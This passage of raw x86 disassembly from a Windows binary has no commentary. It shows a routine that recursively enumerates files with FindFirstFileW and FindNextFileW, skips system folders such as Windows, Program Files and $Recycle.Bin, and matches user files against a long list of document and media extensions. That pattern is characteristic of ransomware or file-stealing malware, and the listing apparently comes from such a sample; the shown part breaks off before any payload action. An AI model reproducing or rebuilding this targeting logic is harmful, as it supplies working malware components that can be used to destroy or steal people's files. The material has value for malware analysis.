movq xmm0, qword [str..flc]
movq qword [ebp - 0x448], xmm0
movzx eax, word [0x450028]
mov word [ebp - 0x440], ax
movq xmm0, qword [str..fb3]
movq qword [ebp - 0x454], xmm0
movzx eax, word [0x450034]
mov word [ebp - 0x44c], ax
movq xmm0, qword [str..fli]
movq qword [ebp - 0x460], xmm0
movzx eax, word [0x450040]
mov word [ebp - 0x458], ax
movq xmm0, qword [str..mng]
movq qword [ebp - 0x46c], xmm0
movzx eax, word [0x45004c]
mov word [ebp - 0x464], ax
movq xmm0, qword [str..smil]
movq qword [ebp - 0x26f0], xmm0
mov eax, dword [0x450058]
mov dword [ebp - 0x26e8], eax
xor eax, eax
mov word [ebp - 0x26e4], ax
movq xmm0, qword [str..svg]
movq qword [ebp - 0x1ac], xmm0
movzx eax, word [0x450064]
mov word [ebp - 0x1a4], ax
movq xmm0, qword [str..mobi]
movq qword [ebp - 0x2700], xmm0
mov eax, dword [0x450070]
mov dword [ebp - 0x26f8], eax
xor eax, eax
mov word [ebp - 0x26f4], ax
movq xmm0, qword [str..swf]
movq qword [ebp - 0x478], xmm0
movzx eax, word [0x45007c]
mov word [ebp - 0x470], ax
movq xmm0, qword [str..html]
movq qword [ebp - 0x2710], xmm0
mov eax, dword [0x450088]
mov dword [ebp - 0x2708], eax
xor eax, eax
mov word [ebp - 0x2704], ax
movq xmm0, qword [str..csv]
movq qword [ebp - 0x484], xmm0
movzx eax, word [0x450094]
mov word [ebp - 0x47c], ax
movq xmm0, qword [str..xhtm]
movq qword [ebp - 0x2720], xmm0
mov eax, dword [0x4500a0]
mov dword [ebp - 0x2718], eax
xor eax, eax
mov word [ebp - 0x2714], ax
movq xmm0, qword [str..R5A]
movq qword [ebp - 0x20], xmm0
movzx eax, word [0x4500ac]
mov word [ebp - 0x18], ax
movq xmm0, qword [str..R4A]
movq qword [ebp - 0x2c], xmm0
movzx eax, word [0x4500b8]
mov word [ebp - 0x24], ax
mov byte [ebp - 4], 3
lea ecx, [esi - 2]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x40d400
mov eax, dword [str..]
mov dword [ecx], eax
mov eax, dword [0x4500c0]
mov dword [ecx + 4], eax
mov ax, word [0x4500c4]
mov word [ecx + 8], ax
lea eax, [ebp - 0x32fc]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov dword [ebp - 0x3330], edi
lea edx, [esi + 2]
nop
mov cx, word [esi]
add esi, 2
test cx, cx
jne 0x40d440
sub esi, edx
sar esi, 1
push 0x4500c8
push dword [ebp - 0x3318]
call fcn.00429324
add esp, 8
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40d465
sub eax, edx
sar eax, 1
sub esi, eax
xor ecx, ecx
mov eax, dword [ebp - 0x3318]
mov word [eax + esi*2], cx
cmp edi, 0xffffffff
je 0x41abe0
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea ecx, [ebp - 0x32d0]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40d4a0
sub ecx, edx
sar ecx, 1
cmp ecx, 1
jne 0x40d4db
push 0x2e
lea eax, [ebp - 0x32d0]
push eax
call fcn.004295a7
add esp, 8
test eax, eax
je 0x40d4db
lea eax, [ebp - 0x32fc]
push eax
push edi
call esi
test eax, eax
je 0x41abe0
lea ecx, [ebp - 0x32d0]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40d4e4
sub ecx, edx
sar ecx, 1
cmp ecx, 2
jne 0x40d522
push 0x4500d0
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
je 0x40d522
lea eax, [ebp - 0x32fc]
push eax
push edi
call esi
test eax, eax
je 0x41abe0
movups xmm0, xmmword [str.Windows]
movups xmmword [ebp - 0x2734], xmm0
xor eax, eax
mov word [ebp - 0x2724], ax
movups xmm0, xmmword [str.microsoft]
movups xmmword [ebp - 0x27a4], xmm0
mov eax, dword [0x4500f8]
mov dword [ebp - 0x2794], eax
movups xmm0, xmmword [str.Microsoft]
movups xmmword [ebp - 0x2768], xmm0
mov eax, dword [0x45010c]
mov dword [ebp - 0x2758], eax
movups xmm0, xmmword [str.Program]
movups xmmword [ebp - 0x277c], xmm0
mov dword [ebp - 0x276c], 0
movups xmm0, xmmword [str.All_Users]
movups xmmword [ebp - 0x27c4], xmm0
mov eax, dword [0x450130]
mov dword [ebp - 0x27b4], eax
xorps xmm0, xmm0
movq qword [ebp - 0x27b0], xmm0
mov word [ebp - 0x27a8], 0
movups xmm0, xmmword [str.Default]
movups xmmword [ebp - 0x2790], xmm0
mov dword [ebp - 0x2780], 0
movups xmm0, xmmword [str._Recycle.Bin]
movups xmmword [ebp - 0x2754], xmm0
movq xmm0, qword [0x450154]
movq qword [ebp - 0x2744], xmm0
mov ax, word [0x45015c]
mov word [ebp - 0x273c], ax
mov dword [ebp - 0x273a], 0
movups xmm0, xmmword [str.WINDOWS]
movups xmmword [ebp - 0x27e4], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x27d4], xmm0
mov dword [ebp - 0x27cc], 0
mov word [ebp - 0x27c8], 0
lea eax, [ebp - 0x2734]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x27a4]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x2768]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x277c]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x27c4]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x2790]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x2754]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x27e4]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
je 0x40d8d1
nop dword [eax]
lea eax, [ebp - 0x32fc]
push eax
push edi
call esi
test eax, eax
lea eax, [ebp - 0x2734]
push eax
lea eax, [ebp - 0x32d0]
push eax
je 0x40d7ef
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x27a4]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x2768]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x277c]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x27c4]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x2790]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x2754]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x40d710
lea eax, [ebp - 0x2754]
jmp 0x40d6f1
call fcn.00429324
add esp, 8
test eax, eax
jne 0x41abe0
lea eax, [ebp - 0x27a4]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x41abe0
lea eax, [ebp - 0x2768]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x41abe0
lea eax, [ebp - 0x277c]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x41abe0
lea eax, [ebp - 0x27c4]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x41abe0
lea eax, [ebp - 0x2790]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x41abe0
lea eax, [ebp - 0x2754]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x41abe0
lea eax, [ebp - 0x27e4]
push eax
lea eax, [ebp - 0x32d0]
push eax
call fcn.00429324
add esp, 8
test eax, eax
jne 0x41abe0
mov ecx, dword [ebp - 0x32fc]
mov eax, ecx
and al, 0x16
cmp al, 0x10
jne 0x40d9ad
lea edx, [ebp - 0x32d0]
mov esi, edx
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x40d8f0
sub edx, esi
mov edi, dword [ebp - 0x3318]
add edi, 0xfffffffe
lea eax, [edi + 2]
mov dword [ebp - 0x3304], eax
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x40d910
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push dword [ebp + 0x20]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3308], esp
lea eax, [ebp + 8]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x3324]
mov ecx, dword [ebp - 0x3304]
call fcn.004072b0
add esp, 0x20
mov edi, dword [ebp - 0x3318]
mov ecx, edi
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40d970
sub ecx, edx
sar ecx, 1
lea edx, [ebp - 0x32d0]
lea esi, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x40d990
sub edx, esi
sar edx, 1
sub ecx, edx
xor eax, eax
mov word [edi + ecx*2 - 2], ax
jmp 0x41abc2
test cl, 6
jne 0x41abce
lea eax, [ebp - 0x32d0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eed0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2a8]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40d9d5
sub ecx, edx
sar ecx, 1
mov esi, dword [ebp - 0x3038]
mov edi, esi
sub edi, ecx
mov dword [ebp - 0x3328], edi
push 0
lea eax, [ebp - 0x2a8]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
cmp eax, edi
je 0x41a4c7
lea edi, [ebp - 0x490]
lea ecx, [edi + 2]
nop dword [eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40da20
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x2290]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40da60
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x2290]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x22a0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40daa0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x22a0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x49c]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dae0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x49c]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x4a8]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40db20
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x38]
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40db55
sub edi, ecx
sar edi, 1
mov dword [ebp - 0x3360], edi
push 0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea ecx, [ebp - 0x50]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40db90
sub ecx, edx
sar ecx, 1
mov dword [ebp - 0x3350], ecx
mov edi, esi
sub edi, ecx
mov dword [ebp - 0x3314], edi
push 0
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
cmp eax, edi
je 0x41a4c7
lea edi, [ebp - 0x4b4]
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dbd1
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x4b4]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x22b0]
lea ecx, [edi + 2]
nop dword [eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dc10
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x22b0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x22c0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dc50
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x22c0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x22d0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dc90
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x22d0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x1b8]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dcd0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40dd10
sub ecx, edx
sar ecx, 1
mov edi, esi
sub edi, ecx
mov dword [ebp - 0x3304], edi
push 0
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
cmp eax, edi
je 0x41a4c7
lea ecx, [ebp - 0x26c]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40dd50
sub ecx, edx
sar ecx, 1
mov edi, esi
sub edi, ecx
mov dword [ebp - 0x3310], edi
push 0
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
cmp eax, edi
je 0x41a4c7
lea edi, [ebp - 0x4c0]
lea ecx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dd90
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x4c0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x1a0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40ddd0
sub edi, ecx
sar edi, 1
mov dword [ebp - 0x3308], edi
push 0
lea eax, [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x4cc]
lea ecx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40de10
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x4cc]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x4d8]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40de50
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5c]
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40de85
sub edi, ecx
sar edi, 1
mov dword [ebp - 0x334c], edi
push 0
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x4e4]
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dec0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x4e4]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x1c4]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40df00
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x1c4]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x1d0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40df40
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x1d0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x4f0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40df80
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x4f0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x4fc]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40dfc0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x4fc]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x508]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e000
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x22e0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e040
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x22e0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x514]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e080
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x514]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x520]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e0c0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x520]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x340]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e100
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x1dc]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e140
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x1dc]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x538]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e180
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x538]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x544]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e1c0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x550]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e200
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x550]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x55c]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e240
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x55c]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x568]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e280
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x568]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x574]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e2c0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x574]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x1e8]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e300
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x580]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e340
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x580]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x58c]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e380
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x58c]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x598]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e3c0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x598]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5a4]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e400
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x5a4]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x1f4]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e440
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x1f4]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5b0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e480
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x200]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e4c0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x200]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5bc]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e500
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x5bc]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5c8]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e540
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x5c8]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5d4]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e580
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x5d4]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5e0]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e5c0
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x5e0]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5ec]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e600
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x5ec]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x5f8]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e640
sub edi, ecx
sar edi, 1
push 0
lea eax, [ebp - 0x5f8]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x604]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e680
sub edi, ecx
sar edi, 1
push 0
